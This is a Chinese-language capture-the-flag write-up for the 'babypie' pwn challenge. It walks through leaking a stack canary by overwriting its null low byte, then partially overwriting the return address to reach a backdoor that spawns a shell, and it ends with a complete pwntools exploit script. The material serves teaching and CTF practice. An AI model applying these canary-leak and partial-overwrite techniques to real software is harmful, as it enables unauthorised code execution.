遇到栈相关的题如果打开了pie和canary是挺麻烦的,但是如果合理的利用栈泄露和部分字节覆写还是可以达到一定程度的程序流控制 示例题目: 安恒杯 2018 .07月赛 babypie
Arch: amd64-64-little RELRO:
Partial RELRO
Stack: Canary
found NX: NX enabled
PIE: PIE enabled
开了pie和canary
0x00 IDA中分析
栈溢出发生的位置
代码语言:javascript复制__int64 vul()
{
__int64 buf; // [rsp 0h] [rbp-30h]
__int64 v2; // [rsp 8h] [rbp-28h]
__int64 v3; // [rsp 10h] [rbp-20h]
__int64 v4; // [rsp 18h] [rbp-18h]
unsigned __int64 v5; // [rsp 28h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL); // 无缓冲
buf = 0LL;
v2 = 0LL;
v3 = 0LL;
v4 = 0LL;
puts("Input your Name:");
read(0, &buf, 0x30uLL);
printf("Hello %s:n", &buf); // 明显的溢出
//
read(0, &buf, 0x60uLL);
return 0LL;
}
溢出发生了两次,每次溢出可控制的字节不同。同时read不设置截断符x00,而canary为了防止被泄露,最低位字节固定为0x00,那么可以额外读取一个字节覆盖canary的最低字节,达到泄露目的。
后门函数
代码语言:javascript复制int backdoor()
{
return system("/bin/sh");
}
这个函数的偏移是 rebase(A3E),而gdb里面动态调试发现vul函数执行完后的返回地址的偏移是 rebase(A6A),由这里应该得到启发:实际上pie只是将地址高位进行了随机化,如果想办法修改低位,是有可能在一定限度内控制执行流的。
0x01 exp
思路
大致利用思路已经很明了了:
- 第一次溢出用sendline把canary最后一个字节覆盖为换行符x0a,然后从输出中读到canary 0xa,减去0xa得到canary。
- 第二次溢出运用上一步的canary覆盖canary所在的栈上位置并继续向后溢出,覆盖return地址低两位字节。
- 由于return地址低两位字节中有4 bits是无法控制的,也就是是随机的,好在范围不大,随便填一个靠点运气就能getshell~
完整exp
代码语言:javascript复制#!/usr/bin/python3
from pwn import *
p=process("./babypie")
elf=ELF("./babypie")
libc=ELF("./libc.so.6")
context.log_level="debug"
#Step1 leak canary & ret_addr
p.recvuntil(b"Name:")
payload1=b"a"*36 b"bbbb"
p.sendline(payload1)
p.recvuntil(b"bbbb")
canary=u64(p.recv(8))-0x0a
print("leak canary:",hex(canary))
#Step2 overwrite
p.recvuntil(b":n")
payload2=b"a"*0x28 p64(canary) b"a"*8 b"x3Ex8A" # luckly~
p.send(payload2)
p.interactive()
0x02 总结
partial overwrite不仅仅可以用在栈上,同样可以用在其它随机化的场景。比如堆的随机化,由于堆起始地址低字节一定是0x00,也可以通过覆盖低位来控制堆上的偏移。